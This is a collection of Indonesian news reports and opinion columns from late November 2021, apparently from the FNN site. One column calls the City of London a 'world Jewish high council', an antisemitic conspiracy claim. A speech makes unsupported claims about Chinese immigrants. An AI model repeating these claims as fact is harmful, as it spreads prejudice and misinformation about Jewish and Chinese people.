korupsi, kolusi, dan nepotisme saatnya digalakkan kembali. Kondisi pemerintahan kini disinyalir lebih rawan dan parah dibandingkan sebelumnya. Belajar dari Menteri Keuangan Uganda Maria Kasaija yang meminta maaf kepada Parlemen atas kesalahan dari pengelolaan keuangan, maka sebaiknya Presiden Jokowi segera meminta maaf kepada rakyat atas amburadul nya pengelolaan negara. Sebelum terlambat. Lalu mengundurkan diri. Bangsa Indonesia mungkin akan memaafkan dan menerima kesadaran dan pertanggungjawaban Presiden tersebut. Akan tetapi jika kesadaran tersebut tidak ada dan terus menutupi berbagai kelemahan yang ada, bukan mustahil selesainya jabatan Presiden justru menjadi awal dari kesulitannya dalam menghadapi proses hukum. Rakyat akan mendesak. *) Pemerhati Politik dan Kebangsaan

Emang Kita Dijajah Kerajaan Belanda, Apa?

Oleh Ridwan Saidi *) [caption id="attachment_28977" align="alignleft" width="299"] Foto situasi jaman siap-siapan di Jakarta tahun 1947.[/caption] TIME fame jaman siap-siapan meliputi Februari 1946 ketika ibukota pindah ke Jogya hingga 27 Desember 1949 saat pengakuan kedaulatan. Jakarta kota pendudukan, bahkan walikota Suwiryo pindah ke Jogya. Tapi tidak tiap jengkal tanah Jakarta dikuasai Belanda. Batas kuasa Belanda dan Republik tak jelas. Kalau ada pos serdadu KNIL tentu Belanda, sebaliknya kalau ada markas pemuda tentu Republik. Jaman siap-siapan artinya bersiap mempertahankan kemerdekaan. Perlawanan rakyat dikoordinasi Badan Keamanan Rakyat (BKR). BKR Jakarta Raya dipimpin Imam Syafi'i atau Bang Pi'i dari Kramat Sentiong. Konsentrasi tentara Belanda di Lapangan Bantemg Selatan, Laan Triveli (kini Tanah Abang III), Petojo depan pabrik ijs, dan Defentielijn van de Bosch (kini Jalan Bungur Raya). Rupanya titik yang paling strategis bagi Belanda adalah Jakarta Pusat. Inggris bagian dari Tentara Sekutu yang membantu Belanda menjajah kembali Indonesia ketika mereka mendarat di Surabaya November 1945. Inggris gandeng Belanda. Belanda tidak punya formalitas hadir sebagai bekas penjajah. Mereka tak punya hak historis. Yang menyerahkan Indonesia sebagai tanah jajahan pada tanggal 8 Maret 1942 kepada Jepang adalah Gubernur Jenderal Hindia Belanda yang bukan diangkat kerajaan Belanda. Tapi oleh kelembagaan non-kerajaan yang dipimpin empat orang komisaris. Kelembagaan itu Nederlansch Indie sebagai ganti VOC yang bangkrut. VOC dengan komisaris 17 orang, de Heeren van Zeventien. Baik VOC maupun Nederlansch Indie berkiblat pada City of London, majelis tinggi Yahudi sedunia. Masuknya kembali tentara Belanda pada November 1945 adalah skandal politik internasional yang direncanakan. Agar tidak spaneng alias tegang, saya ingin tutup tahun 1936. Als de orchideien bloeien // dan denk ik terug aan jouw. Bunga anggrek mulai timbul // Aku ingat padamu. Ya. Bunga anggrek mulai timbul. *) Budayawan

Mantan Perdana Pemteri Kamboja Pangeran Norodom Ranariddh Meninggal Dunia

Phnom Penh, FNN - Mantan Perdana Menteri Kamboja Pangeran Norodom Ranariddh telah meninggal dunia di Prancis pada usia 77 tahun. Pangeran itu , yang partai politik royalisnya memenangi pemilihan pada 1993, digulingkan dalam kudeta 1997 oleh mitra koalisi dan pesaingnya, Hunn Sen, dan tetap menjadi Perdana Menteri Kamboja lebih dari 20 tahun kemudian. Menteri Penerangan Kamboja, Khieu Kanharith mengatakan kepada Reuters, dia telah menerima informasi dari istana kerajaan yang mengabarkan Ranariddh telah meninggal dunia di Paris. Ranariddh adalah anggota paling aktif berpolitik dari keluarga kerajaan Kamboja dalam beberapa dekade terakhir. Ia terus memimpin partai royalis Funcinpec supaya mengikuti pemilihan selama bertahun-tahun setelah ia digulingkan. Akan tetapi, pada 2017, dia mengecewakan lawan-lawan Hun Sen dengan mengatakan tidak ada pilihan selain bekerja dengan Hun Sen. Akhirnya. secara efektif membuat semua partai oposisi terpinggir. Hun Sen sekarang memimpin parlemen satu partai. Ranariddh muncul dari bayang-bayang ayahnya yang karismatik, Raja Norodom Sihanouk. Ia memimpin partai Funcinpec yang meraih kemenangan mengejutkan dalam pemungutan suara bersejarah yang dijalankan Peerserikatan Bangsa-Bangsa (PBB) pada 1993. Pemilu itu mengakhiri lebih dari satu dekade perang saudara di Kamboja. Meskipun dia memenangi pemungutan suara, Ranariddh segera dikalahkan. Ia kemudian digulingkan oleh orang yang dia setujui berbagi kekuasaan, Hun Sen, pemimpin pemerintahan yang bekas komunis. (MA).

Pulau Perempuan Tua

Oleh Ridwan Saidi *) Orang Moor atau Moro, di Andunisi diperkirakan sejak IX M berdasar mulai hidupnya ekonomi Andunisi sejak abad tersebut. Mereka datang dari Afro berbahasa Swahili. Di Jakarta mereka tinggal di Yapat Sunda Kalapa, Pekojan, dan Pulau Bidadari. Photo atas mesjid orang Moor di Pekojan. Mesjid diphoto setelah pemugaran tahun 1784. Tidak diketahui sejak kapan mesjid ini berdiri. Banyak pulau-pulau di Kepulauan Seribu yang tak diketahui muasal penduduknya. Pulau Kotok artinya pohon dalam bahasa Armen, dalam Betawi buta. Pulau Semak artinya bukan belukar tapi daun. Daun dalam bahasa Khmer disebut petir. Di Pamulang ada toponim Pondok Petir. Pulau Macan bukan tiger tapi murni, hei. Itu orang berhati macan, maknanya itu orang baik-baik. Pulau Tidung juga artinya daun. Yang tak dapat dipaham kenapa ada pulau dinamakan Perempuan Tua? Itulah pulau Pari. Sebaliknya ada pulau Putri, dan ada lagi pulau Bidadari. Pulau Sepa artinya bawang. Dalam Betawi Sepa jenis rasa. Pulau terjauh itulah Pantara. Dua jam perjalanan dengan speedboat dari Marina Ancol. Pemda DKI era Ali Sadikin paling suka gonta ganti nama pulau. Nama lama pulau Pramuka itu Pelemparan, kenapa mesti diganti. Edam nama pulau, juga nama jalan di Priyuk. Edam artinya mercusuar. Di Sunda Kalapa disebut lentera. *) Budayawan

Satu Korban Penembakan di Pintu Tol Bintaro Akhirnya Meneninggal Dunia

Jakarta, FNN - Satu korban penembakan misterius yang terjadi di Pintu Keluar (Exit) Tol Bintaro, Jakarta Selatan, Jumat, 26 November 2021 sekitar pukul 19.00 WIB, akhirnya meninggal dunia akibat luka tembak yang dialaminya. "Terkait penembakan di Exit Tol JORR Bintaro ya. Jadi benar satu korban meninggal dunia," kata Kepala Bidang Hubungan Masyarakat Kepolisian Daerah Metro Jaya, Komisaris Besar Endra Zulpan di Jakarta, Minggu. Zulpan belum bersedia memberikan keterangan lebih lanjut terkait kasus tersebut karena pengembangan penyidikan yang masih berjalan. "Kasusnya masih dalam penyelidikan Polres Metro Jakarta Selatan dan Polda Metro Jaya. Jadi kami belum bisa sampaikan lebih jauh karena tim masih bergerak di lapangan cari barang bukti, motif dan sebagainya," ujarnya, sebagaimana dikutip dari Antara. Sebelumnya, Kepala Kepolisian Resor Metro Jakarta Selatan, Komisaris Besar Azis Andrianysah mengatakankan, pihak kepolisian telah mengantongi sejumlah rekaman kamera tersembunyi (CCTV) terkait kejadian tersebut. "Kami sudah memperoleh beberapa informasi, rekaman CCTV, dan identitas dari kendaraan yang dipakai pelaku. Benar terjadi, ini masih dalam proses penyelidikan. Kami tidak akan buka sebelum jelas," kata Azis di Jakarta, Sabtu kemarin. Azis mengatakan, dua korban penembakan yang dilakukan orang tidak dikenal menjalani perawatan intensif di Rumah Sakit Polri Kramatjati Jakarta Timur setelah dipindahkan dari Rumah Sakit Pelni Jakarta Barat. Azis menuturkan, pihaknya memerlukan bukti pendukung yang kuat untuk mengungkap fakta di balik peristiwa itu. "Harus ada bukti pendukung lain yang perlu diperiksa laboratorium forensik dan keterangan ahli," kata dia. Piihaknya mendapat laporan adanya peristiwa penembakan, setelah Kepolisian Sektor Palmerah mendapat informasi dari RS Pelni, ada beberapa orang mendatangi rumah sakit tersebut dengan kondisi luka tembak di bagian tubuhnya. Setelah mendapatkan informasi tersebut, petugas kepolisian dari Polres Jakarta Selatan langsung mendatangi rumah sakit itu dan memastikan kebenaran informasi itu. "Dari situ kami memperoleh konfirmasi, yang luka dua orang. Satu orang sehat. Orang yang sehat itu kita interogasi guna mengetahui ceritanya dan di mana terjadinya peristiwa penembakan," katanya. (MD)>

Israel Tetap Selenggarakan Miss Universe Di Tengah Ancaman

Yerusalem, FNN - Israel akan tetap menjadi tuan rumah kontes kecantikan Miss Universe di resor Laut Merah, Eilat, pada 12 Desember 2021. Ajang tersebut tetap dilaksanakan di tengah pembatasan perjalanan yang diberlakukan untuk mencegah varian virus corona Omicron. Pada Sabtu, 27 November 2021, Israel mengumumkan akan melarang orang asing memasuki wilayahnya. Juga memperpanjang karantina bagi warga dan penduduk yang kembali dari luar negeri, serta kembali melakukan pengawasan ponsel yang dirancang untuk melacak infeksi. Namun, Menteri Pariwisata Yoel Razvozov mengatakan, kemungkinan menjalani tes usap PCR setiap 48 jam dan tindakan pencegahan lainnya. "Ini adalah acara yang akan disiarkan di 174 negara, acara yang sangat penting, acara yang sangat dibutuhkan Eilat," kata dia kepada wartawan sebelum rapat kabinet, Ahad, 28 November 2021. Dalam rapat tersebut, para menteri melakukan pengambilan suara untuk memutuskan tindakan anti varian Omicron. "Kami akan tahu bagaimana mengelola acara itu. Jadi, dengan menggunakan komite pengecualian, kami akan mengadakan acara seperti ini, yang negara kami sudah berkomitmen untuk jalankan dan tidak dapat dibatalkan," ujar Razvozov, sebagaimana dikutip dari Antara. Ketika memberi pengarahan kepada komite parlemen, pejabat senior Kementerian Kesehatan Israel Sharon Alroy-Preis mengatakan, pihaknya menyusun rencana keselamatan untuk penyelenggaraan Miss Universe. Negara Yahudi tersebut dapat membatasi akses masuk dari negara-negara yang dianggap berisiko tinggi. Israel telah mengonfirmasi satu kasus Omicron, kata Alroy-Preis, yaitu seorang turis perempuan dari Malawi. (MD).

Pemerintah Indonesia Akan Tingkatkan Kerja Sama Dengan Palestina

Jakarta, FNN - Pemerintah Indonesia menyatakan akan terus meningkatkan kerja sama di berbagai bidang dengan Palestina guna mendukung perjuangan bangsa tersebut mencapai kemerdekaan. Direktur Timur Tengah Kementerian Luar Negeri RI Bagus Hendraning Kobarsyih menyebutkan salah satu kerja sama yang telah berjalan adalah pemberlakuan tarif bebas bea masuk bagi sejumlah produk unggulan Palestina seperti minyak zaitun, buah-buahan, dan kurma sejak Januari 2018. “Saat ini, Indonesia juga sedang merintis kerja sama untuk perjanjian preferential trade agreement (PTA) dengan pemerintah Palestina untuk membantu rakyat Palestina dalam melakukan perdagangan dan meningkatkan kerja sama ekonomi antara kedua negara,” ujar Bagus dalam acara bincang-bincang “Pekan Solidaritas Palestina: Milennial Peacemaker Forum” yang dipantau secara virtual dari Jakarta, Ahad, 28 November 2021. Dalam hal ini, pemerintah Palestina telah mengajukan pembebasan bea masuk untuk 61 produk, antara lain mur, baut, sabun, keramik, dan rempah-rempah. Pembahasan PTA ditujukan untuk meningkatkan kinerja perdagangan kedua negara yang tercatat 5 juta dolar AS per tahun (sekitar Rp 72 miliar), atau hanya sebesar 0,1 persen dibandingkan nilai perdagangan internasional Palestina. Selain itu, dukungan nyata Indonesia kepada Palestina juga ditunjukkan secara jelas dalam berbagai forum internasional serta melalui program pembangunan kapasitas. “Pemerintah Indonesia juga sangat mengapresiasi sumbangsih berbagai elemen masyarakat Indonesia dalam memberikan dan menyalurkan berbagai bantuan kepada rakyat Palestina,” kata Bagus, sebagaimana dikutip dari Antara. Pekan Solidaritas Palestina diselenggarakan menjelang 29 November yang ditetapkan Perserikatan Bangsa-Bangsa sebagai International Day of Solidarity with the Palestinian People, untuk mengingatkan dunia bahwa masalah Palestina masih belum terselesaikan akibat penjajahan Israel yang terus berlanjut. Indonesia telah menyatakan keprihatinan mendalam bahwa di tengah situasi sulit pandemi Covid-19, rakyat Palestina masih terus mengalami pelanggaran HAM dari penangkapan, penggusuran, dan penyitaan properti secara ilegal oleh Israel. “Israel juga semakin berani melakukan berbagai tindakan provokasi di Kompleks Masjid Al Aqsa melalui penangkapan dan menghalangi warga Palestina yang ingin beribadah di masjid tersebut, serta provokasi yang dilakukan banyak warga Yahudi Israel dengan terus melakukan peribadatan di dalam kompleks Masjid Al Aqsa, padahal aktivitas ini melanggar aturan status quo tahun 1967 yang melarang kaum non-Muslim beribadah di dalam Masjid Al Aqsa,” tutur Bagus, menjelaskan. Mengingat penyelesaian isu Palestina masih menyisakan banyak pekerjaan rumah, Indonesia menyeru dukungan serius dari dunia internasional agar Israel menghentikan berbagai tindakan ilegal tersebut. “Indonesia mempertegas kembali posisinya dalam mendukung penuh perjuangan tercapainya kemerdekaan dan kedaulatan Palestina sesuai mandat dalam konstitusi kita, hingga tercapainya solusi dua negara sesuai parameter internasional yang telah disepakati bersama,” kata Bagus. (MD).

Peru Utara Dilanda Gempa Berkekuatan 7,5 M

Lima, FNN - Gempa berkekuatan 7,5 magnitudo mengguncang Peru utara sekitar 40 km dari kota Barranca pada Minggu, 28 November 2021, pagi, kata Survei Geologi AS. Belum ada laporan tentang korban atau kerusakan akibat gempa, yang dirasakan hingga ibu kota, Lima. Dikutip dari Antara, gempa terjadi pada kedalaman lebih dari 100 km, yang meredam tingkat guncangan. Pusat Seismologi Euro-Mediterania mengatakan dalam sebuah cuitan bahwa gempa itu terjadi di wilayah hutan hujan Amazon yang sangat jarang penduduknya. Sistem Peringatan Tsunami AS itu mengatakan tidak ada peringatan tsunami setelah gempa. (MD).

What To Be Done?

By : Prof. H. Muhammad Amien Rais, M.A., Ph.D Jakarta FNN - Ahad (28/11). Kita sedang menghadapi masalah-masalah berat di berbagai bidang kehidupan yang bisa membawa kita ke krisis eksistensial. Ada yang bersifaf global, regional, tetapi ada yang bersifat nasional dan lokal yang lebih dan langsung kita rasakan sebagai bangsa Indonesia. Yang dirasakan oleh masyarakat global adalah antara lain : global warming dan climate change, democratic-backsliding diberbagai negara demokrasi, human right violation di mana-mana (termasuk extra judicial killing) di negara-negara Afrika, Timur Tengah, Myanmar, RRC, Perang Dingin jilid 2, ancaman konfrontasi nuklir, krisis air dan pangan, dan ecocida, genocida yang makin menggila, tetapi reaksi internasional makin mengecil. Sementara krisis eksistensial di Indonesia berupa masa depan bangsa yang semakin suram bahkan gelap. Kita melihat keterbelahan bangsa yang makin dalam, terutama dirasakan oleh ummat Islam. Tonggak-tonggak demokrasi sudah banyak yang roboh. Indonesia makin jauh masuk ke dalam debt-trap China. Kekayaan alam Indonesia lebih banyak mengalir ke luar negeri dari pada yang dinikmati oleh masyarakat bangsa Indonesia. Kesenjangan kaya-miskin makin menganga, seperti temuan Oxfam London yang menyebut ada 4 oknum yang kakayaan mereka lebih besar dari 100 juta penduduk miskin. Demokrasi Indonesia sudah terkubur secara sistemik dan sudah terjadi apa yang dinamakan sebagai The Corporate Coup d'etat. Sekelompok kecil manusia-manusia yang sudah tuna moral , secara bengis dan biadab menghancur-leburkan tatanan hukum, tatanan sosial dan moral bangsa Indonesia. Beda pokok antara manusia dan binatang terutama ada satu, yaitu rasa malu. Dalam tubuh rezim Jokowi terlalu banyak oknum yang sudah putus syafat malunya, sehingga berperilaku lebih berbahaya dari orag gila : sedang menghancurkan bangsa sendiri, tetapi sedang merasa berbuat baik (lihat Al-Baqarah 10-11dan Al-Kahfi 103-105). Ketika rakyat menderita kemiskinan , hidup pada subsistent level, beberapa menteri membuat beberapa PT untuk berjual beli apa saja yang diperlukan untuk menanggulangi Covid-19. Ketika TEMPO membongkar bisnis haram mereka, reaksi mereka : ketawa-ketiwi sambil mengatakan semua itu karena didorong oleh kecintaan mereka kepada rakyat kecil dan berbagai dalil lainnya. Rezim sekarang ini telah membiarkan dirinya jadi kuli, kacung, atau jongos kepentingan China. Seolah atau pura-pura lupa bahwa Indonesia telah dijadikan sasaran utama politik Lebensraum China. Saya lumayan ngeri dengan perubahan orientasi China di bawah Xi Ping. Sekarang Xi sudah dikukuhkan sebagai presiden China seumur hidup, dengan rangkap jabatan antara lain Sekjen PKC, pemimpin puncak PLA, Ketua Dinas Intelijen China, penguasa tertinggi penggunaan internet dan lain sebagainya. Yang harus kita perhatikan lebih dalam adalah doktrin baru politik luar negeri China, yakni menyatakan keselamatan dan kesejahteraan China diaspora sepenuhnya menjadi wewenang Pemerintah Beijing. Dunia terbelalak menyaksikan betapa cepat dan sigap militer China melakukan rescue atau penyelamatan sekitar 36 ribu pekerja China yang terperangkap dalam perang saudara di Libya pada tahun 2011. Hanya dalam 10 hari semua pekerja China sudah kembali ke negaranya. Rezim Jokowi sangat lunak bahkan terkesan ada pembiaran terhadap imigran China yang masuk ke Indonesia tanpa melalui prosedur baku buat masuknya orang-orang asing. Mereka berkeliaran di Papua, Papua Barat, di Sulteng dan di berbagai pulau di Indonesia. Mereka jelas bukan turis, dan bukan pula pekerja. Ini mengingatkan kunjungan saya bersama Pak Letjen Sayidiman dan saudara Laode Kamaludin ke markas AD China, kamu dihina oleh seorang kolonel China, baik dari segi etiket diplomatik maupun dalam subtansi pembicaraan. Saya akhiri sampai di sini dulu. Tentu masih banyak masalah nasional yang cukup berbahaya bahkan mengerikan tetapi mari kita diskusikan bersama, lantas kita cari jawabannya. Opini disampaikan dalam diskusi bertema "Bagaimana Caranya Kembali Ke UUD 45 (asli)" bersama beberapa tokoh purnawirawan militer, politik, agama dan pemuda di Rumah Perjuangan Bangsa, Kebayoran Baru, Jakarta, pada Ahad 28 November 2021.

Pembunuhan Disertai Mutilasi Di Kedungwaringin Bermotif Dendam

Jakarta, FNN - Kepolisian mengungkapkan kasus pembunuhan disertai mutilasi terhadap seorang pria berinisial RS yang jasadnya dibuang di Kedungwaringin, Kabupaten Bekasi, bermotif dendam. Dalam kasus tersebut, ada tiga pelaku, dua diantaranya telah ditangkap, yakni FM (20) dan MAP (29). Sedangkan satu pelaku lain yang berinisial ER masih dalam pengejaran petugas. "Motif para pelaku adalah sakit hati dengan korban RS. Pelaku FM sakit hati terhadap korban karena korban pernah menghina pelaku FM dan istrinya, selanjutnya pelaku MAP sakit hati dengan korban karena istri pelaku pernah dicabuli oleh korban," kata Kabid Humas Polda Metro Jaya Kombes Pol Endra Zulpan di Jakarta, Ahad, 28 November 2021. Zulpan mengungkapkan, sebelum melakukan pembunuhan tersebut, para pelaku terlebih dulu mengajak korban mengonsumsi narkoba pada Jumat, 26 November 2021, sekitar pukul 23.00 WIB. "Modusnya pelaku mengajak korban konsumsi narkoba, saat tertidur pelaku kemudian membunuh korban," ujarnya, sebagaimana dikutip dari Antara. Para pelaku tersebut kemudian memutilasi jasad korban menjadi 10 bagian yang kemudian dibuang di tiga tempat terpisah di Tanjung Pura, Karawang, dan di Cikarang Utara serta di Kedungwaringin di Kabupaten Bekasi, untuk menghilangkan jejak. Namun potongan jasad korban tersebut ditemukan warga pada Sabtu, 27 November 2021, pagi yang langsung dilaporkan ke Polres Metro Bekasi. Laporan tersebut langsung ditindaklanjuti dengan olah tempat kejadian perkara (TKP) dan pemeriksaan sejumlah saksi. Hasil penyelidikan tersebut kemudian mengarah kepada penangkapan FM dan MAP pada Sabtu sore sekitar pukul 15.00 WIB di Tambun Selatan, Kabupaten Bekasi. Hasil penyelidikan juga mengungkapkan adanya pelaku ketiga yang terlibat dalam kasus pembunuhan berencana tersebut yang berinisial ER. Namun yang bersangkutan masih dalam pengejaran petugas. Atas perbuatannya para tersangka kini harus mendekam di Rumah Tahanan Polres Metro Bekasi dan dijerat Pasal 340 KUHP dan atau pasal 338 KUHP, diancam penjara seumur hidup atau paling lama 20 tahun. (MD).

Jaksa Yang Profesional Tidak Akan Menunda Sidang

Jakarta, FNN - Jaksa Agung Sanitiar Burhanuddin mengatakan tidak ada alasan bagi jaksa untuk menunda agenda sidang pembacaan tuntutan apabila jaksa tersebut bekerja profesional. Menurut Burhanuddin, sejatinya tidak ada alasan penundaan sidang selain karena hal teknis, seperti tidak hadirnya saksi atau ahli mengikuti persidangan. "Untuk itu saya tidak mau lagi mendengar ada penundaan sidang pembacaan tuntutan, terlebih dengan alasan rentut (rencana tuntutan, red.) belum turun dari pimpinan," kata Burhanuddin dalam keterangan tertulis Pusat Penerangan Hukum Kejaksaan Agung yang diterima di Jakarta, Ahad, 28 November 2021. Burhanuddin memberikan pengarahan dalam kunjungan kerja di Sumatera Selatan menegaskan bahwa integritas dan profesionalisme harus sudah menjadi standar minimum yang dimiliki setiap insan Adhyaksa. "Saya ingatkan kepada kepala satuan kerja untuk mencermati hal ini, karena penundaan dapat mengindikasikan adanya potensi perbuatan tercela dan saya tidak segan untuk mengevaluasi jika masih ada jaksa yang menunda sidang pembacaan tuntutan tanpa ada alasan yang sah," kata Burhanuddin, sebagaimana dikutip dari Antara. Terkait integritas dan profesionalisme seorang jaksa, Burhanuddin pernah menyampaikan bahwa dirinya tidak membutuhkan jaksa yang pintar tetapi tidak bermoral, dan tidak butuh jaksa yang cerdas tetapi tidak berintegritas. "Yang saya butuhkan para jaksa yang pintar dan berintegritas," ujarnya. Integritas seorang jaksa, kata Burhanuddin, adalah segala tindakan yang menggambarkan kejujuran dan kewibawaan seseorang dalam menjalankan tugasnya. Integritas sendiri dapat dilihat dari mutu, sifat, dan keadaan seseorang sehingga seseorang yang memiliki integritas bisa diberi kepercayaan karena selalu bertindak transparan, konsisten, bertanggung jawab, dan objektif. Burhuddin menekankan kepada seluruh insan Adhyaksa bahwa integritas bukan hanya sebuah "tagline" semata, integritas harus dilaksanakan baik melalui ucapan, tingkah laku, tindakan nyata, dan tingkatkan pengawasan melekat secara intensif oleh pimpinan kejaksaan kepada setiap anggota. Menurut dia, apabila ada anggota kejaksaan yang melakukan perbuatan tercela, maka yang akan dievaluasi hingga dua tingkat ke atas, dalam arti pimpinan jaksa tersebut ikut dievaluasi. Hal ini tertuang dalam Surat Jaksa Agung Nomor: R-95/A/SUJA/09/2021 tentang Peneguhan Komitmen Integritas, ujar Jaksa Agung. Jaksa Agung mengingatkan sudah banyak pegawai yang ditindak dan dipidanakan karena menggadaikan integritas dan martabat institusi. Penindakan itu tentunya terkandung maksud untuk memberikan efek jera bagi semua. "Karena saya tidak ingin jika sikap dan perilaku saudara mencoreng doktrin Tri Krama Adhyaksa," kata Burhanuddin. Burhanuddin menekankan seorang jaksa tidak hanya berintegritas dan profesional, tapi harus memiliki hati nurani untuk mewujudkan penegakan hukum yang berkeadilan dan bisa dirasakan manfaatnya bagi masyarakat. (MD).

Ketua DPD RI Siap Beri Sambutan di Konferensi Pemuda Asia-Afrika

Jakarta, FNN - Ketua Dewan Perwakilan Daerah (DPD) RI AA La Nyalla Mahmud Mattalitti menyatakan kesiapannya untuk memberi sambutan pada Konferensi Pemuda Asia-Afrika yang digelar di Bandung, Jawa Barat pada 16-19 Desember 2021. “Pada era mendatang, pemuda memiliki peranan yang cukup penting dalam menentukan arah perjalanan bangsa. Sebagai generasi penerus, pemuda memiliki peran sentral dalam mengisi pembangunan bangsa,” kata La Nyalla dalam keterangan yang diterima di Jakarta, Minggu. Oleh karena itu, Senator asal Jawa Timur ini akan hadir dan memberi sambutan pada Konferensi Pemuda Asia-Afrika untuk menggugah kesadaran anak muda, sehingga bersemangat untuk ikut berpartisipasi dalam mengontrol arah perjalanan bangsa. "Arah bangsa ini sesuai dengan cita-cita para pendiri bangsa, sehingga tujuan hakiki dari lahirnya bangsa ini, yaitu keadilan sosial bagi seluruh rakyat Indonesia, dapat terwujud,” ujar La Nyalla. Selain itu, La Nyalla juga telah menyatakan kesanggupannya untuk menjadi Ketua Dewan Pembina, sebagaimana permintaan yang disampaikan oleh Ketua Umum Himpunan Artis Pengusaha Seluruh Indonesia (HAPSI) Yuma Shannelom. Sebelumnya, HAPSI meminta kesediaan AA La Nyalla Mahmud Mattalitti untuk memberikan sambutan pada pertemuan Pemuda Asia-Afrika. Ia mengatakan bahwa 23 negara telah mengonfirmasi kehadiran mereka di perhelatan tersebut. "Kami mengundang Pak La Nyalla untuk hadir pada pertemuan Pemuda Asia-Afrika. Kami juga meminta Bapak menjadi Ketua Dewan Pembina kami. Kami berharap Pak La Nyalla berkenan menjadi Ketua Dewan Pembina kami dan bersedia memberikan sambutan," ujar Yuma. Yuma menjelaskan, usai menggelar rapat kerja (raker), terdapat sejumlah program yang telah dirumuskan. Salah satunya adalah menggelar fashion show pada acara pertemuan Pemuda Asia-Afrika bulan depan. Selain itu, mereka juga akan menggelar festival film untuk menggali potensi masyarakat di daerah. "Ini adalah raker pertama setelah empat tahun HAPSI berdiri. Program jangka pendek dan jangka panjang telah kami rumuskan," kata dia. Wakil Ketua Umum HAPSI Shanker RS menambahkan, dalam kegiatan itu akan dilombakan film televisi dengan menggunakan bahasa daerah. "Ini adalah upaya kami untuk memberikan ruang berkreasi bagi potensi hebat yang berada di daerah. Nantinya film ini akan diputar di televisi. Ini upaya untuk melestarikan adat dan budaya Indonesia," kata Shanker. (mth)

PHRI Harap Tak Ada Larangan Tamu Menghabiskan Liburan di Hotel

Cianjur, FNN - Perhimpunan Hotel dan Restoran Indonesia (PHRI) Cianjur, Jawa Barat, berharap tidak ada larangan bagi tamu yang akan menghabiskan libur panjang Natal dan Tahun Baru 2021 di hotel dan tempat wisata saat PPKM level 3. Ketua PHRI Cianjur, Nano Indra Praja saat dihubungi Minggu, mengatakan sejak beberapa bulan terakhir tingkat hunian hotel di Cianjur, mulai meningkat setelah sempat terpuruk akibat COVID-19. "Namun saat ini, ketika roda perekonomian kembali menggeliat, pemerintah akan menerapkan PPKM level 3 di seluruh wilayah Indonesia, termasuk di Cianjur. Namun kami berharap tidak sampai kepada larangan kunjungan atau pembatasan sosial," katanya. Pasalnya, ungkap dia, pemulihan ekonomi sudah dapat dilakukan daerah yang berstatus level 2 termasuk di Cianjur, namun untuk mengantisipasi terjadinya lonjakan kasus, pemerintah menerapkan hal tersebut sehingga berharap kunjungan tetap ada, namun dengan penerapan prokes ketat. Termasuk, katanya, pengunjung atau tamu dari dalam dan luar kota wajib menujukkan "scan barcode" di aplikasi PeduliLindungi saat akan merayakan Natal dan Tahun Baru 2022 di hotel atau tempat wisata di kawasan Puncak-Cianjur sehingga roda perekonomian tetap berjalan. "Semua anggota PHRI Cianjur sudah mengikuti semua anjuran dan aturan pemerintah, bahkan seluruh karyawan sudah mendapatkan vaksinasi dosis kedua. Kami juga banyak menggelar vaksinasi massal sebagai upaya membantu percepatan vaksinasi tercapai," katanya. Tidak hanya terkait vaksinasi, seluruh anggota PHRI Cianjur, ujar dia, sudah sepakat tidak menggelar acara pesta kembang api atau "live music" saat malam pergantian tahun untuk mencegah terjadinya kerumunan sesuai aturan pemerintah. Markom Manager Le Eminance Hotel, Rizki S mengatakan pihaknya akan mematuhi semua larangan dan aturan yang diterapkan pemerintah untuk mencegah kembali meningkatnya kasus COVID-19 dengan tidak menggelar keramaian pada malam pergantian tahun. Namun, papar dia, pihaknya memberikan pilihan bagi tamu yang datang untuk menghabiskan libur bersama keluarga dengan berbagai fasilitas penunjang yang dimiliki hotel berbintang 5 itu dengan tetap menerapkan prokes ketat bagi tamu yang datang. "Kami memiliki kolam renang umum, kolam air panas, kebun binatang kecil, tempat bermain anak, dan berbagai sarana lain yang ada di lingkungan hotel. Menjelang Natal dan Tahun Baru 2022 tingkat pemesanan sudah mulai terlihat," katanya. (mth)

BPBD Banten Imbau Nelayan dan Pelayaran Waspada Gelombang Tinggi

Lebak, FNN - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Banten mengimbau nelayan dan pelaku pelayaran di perairan Selat Sunda bagian selatan waspada gelombang tinggi hingga mencapai empat meter disertai angin kencang. Kepala Pelaksana BPBD Provinsi Banten, Nana Suryana saat dihubungi, Ahad, mengatakan nelayan dan pelaku pelayaran hingga satu pekan ke depan dapat meningkatkan kewaspadaan menyusul cuaca buruk di Perairan Selat Sunda bagian selatan. Cuaca buruk itu hingga peluang ketinggian gelombang di perairan Selat Sunda bagian selatan mencapai empat meter dan disertai angin kencang. Selain itu juga pengemudi yang melintasi pesisir Pantai Karang Taraje Cibareno dan Bayah waspada karena sejumlah titik ruas jalan di daerah itu terjadi longsor. Karena itu, nelayan dan pelaku pelayaran di Perairan Selat Sunda bagian selatan yang beroperasi di sekitar Pantai Labuan, Panimbang, Sumur, Cikeusik, Binuangeun, Bagedur, Suka Hujan, Cihara, Panggarangan, Bayah, Pulomanuk Tanjung Panto dan Sawarna dapat meningkatkan waspada guna menghindari kecelakaan laut. "Kami melihat cuaca pesisir perairan Selat Sunda bagian selatan cukup membahayakan bagi nelayan perahu kincang," katanya menjelaskan. Saat ini pelaku pelayaran yang melintasi perairan Selat Sunda bagian selatan cukup ramai dilintasi Kapal tugboat dan Kapal tongkang yang mengangkut batu bara dari Pulau Sumatera ke PT Cemendo Gemilang pabrik Semen Merah Putih maupun ke PLTU Labuhan, Pandeglang. Selain itu juga perairan samudera juga ramai dilintasi pelaku pelayaran dari berbagai negara dan kebanyakan mereka kapal barang. "Kita minta pelaku pelayaran agar waspada untuk menghindari kecelakaan laut, termasuk nelayan," ujarnya menjelaskan. Menurut dia, BPBD Banten meminta nelayan tradisional sebaiknya tidak beraktivitas melaut sepanjang cuaca buruk. Begitu pula wisatawan tidak boleh melakukan aktivitas berenang maupun mancing di sekitar pantai. Sebab, kata dia, berdasarkan laporan seorang nelayan tengah menjala atau menjaring ikan di Pantai Karisma, Pandeglang, terseret gelombang tinggi hingga menghilang. "Kami minta nelayan dan pelaku pelayaran dapat mematuhi peringatan imbauan agar terhindar dari kecelakaan laut," katanya. (mth)

Akademisi Soroti Cagar Budaya Multatuli Telantar

